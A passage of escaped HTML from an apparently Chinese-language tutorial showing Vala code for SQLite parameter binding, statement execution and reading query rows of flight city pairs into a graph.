class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebind_text\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这是寻找 statement 中 stmt 的位置\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebind_parameter_index\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eBIND_FAILED\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Could not bind %s: %s not found in the statement %s.\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 绑定,index 是索引,text 是要绑定的字符串\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebind_text\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eOK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eBIND_FAILED\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Could not bind %s: %d, %s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e执行声明并清除绑定:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estep\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 执行声明\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estep\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 清除绑定\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDONE\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eEXECUTION_FAILED\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Execute failed: %d, %s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e循环取出返回值:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 摘抄自我的大作业代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHashMap\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHashSet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eavaliable\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGraph\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHashMap\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHashSet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 创建一个声明,这个是一个查询语句\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eget_flight\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprepare\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;SELECT FromCity,ArivCity FROM FLIGHT;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 我前面说过返回值的事情,Sqlite.ROW\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eget_flight\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estep\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eROW\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eget_flight\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecolumn_text\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eto\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eget_flight\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecolumn_text\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eGraph\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ehas_key\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efrom\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGraph\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003efrom\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHashSet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGraph\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003efrom\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eto\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan 